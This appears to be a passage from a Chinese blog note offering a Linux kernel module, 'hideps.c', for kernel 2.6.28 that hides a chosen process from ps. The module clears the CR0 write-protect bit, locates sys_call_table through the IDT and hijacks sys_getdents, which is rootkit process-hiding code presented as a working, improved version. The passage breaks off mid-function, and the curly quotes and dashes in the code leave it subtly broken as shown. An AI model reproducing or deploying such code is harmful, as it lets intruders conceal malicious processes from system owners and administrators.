改天空了研究下 先记录上网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:
1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);
2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.
测试环境: ubuntu9.04 内核版本2.6.28
模块代码如下:
/*hideps.c*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100
//使用模块参数来定义需要隐藏的进程名
int orig_cr0;
char psname[10]=”looptest”;
char *processname=psname;
//module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
void** sys_call_table;
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile (“movl %%cr0, %%eax”
: “=a”(cr0)
);
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile (“movl %%eax, %%cr0″
:
: “a”(cr0)
);
return ret;
}
void setback_cr0(unsigned int val)
{
asm volatile (“movl %%eax, %%cr0″
:
: “a”(val)
);
}
asmlinkage long (*orig_getdents)(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == ‘\xff’ && *(p + 1) == ‘\x14′ && *(p + 2) == ‘\x85′)
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) – 1; ptr >= str; ptr–)
{
if (*ptr < ’0′ || *ptr > ’9′)
return (-1);
res += (*ptr – ’0′) * mul;
mul *= 10;
}
if(res>0 && res< 9999)
printk(KERN_INFO “pid=%d,”,res);
printk(“\n”);
return (res);
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk(“pid found=%d\n”,entry->pid);
return entry;
}
else
{
// printk(KERN_INFO “pid=%d not found\n”,pid);
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i–;
*buf = c;
if (!c)
break;
if (c == ‘\\’) {
buf[1] = c;
buf += 2;
continue;
}
if (c == ‘\n’)
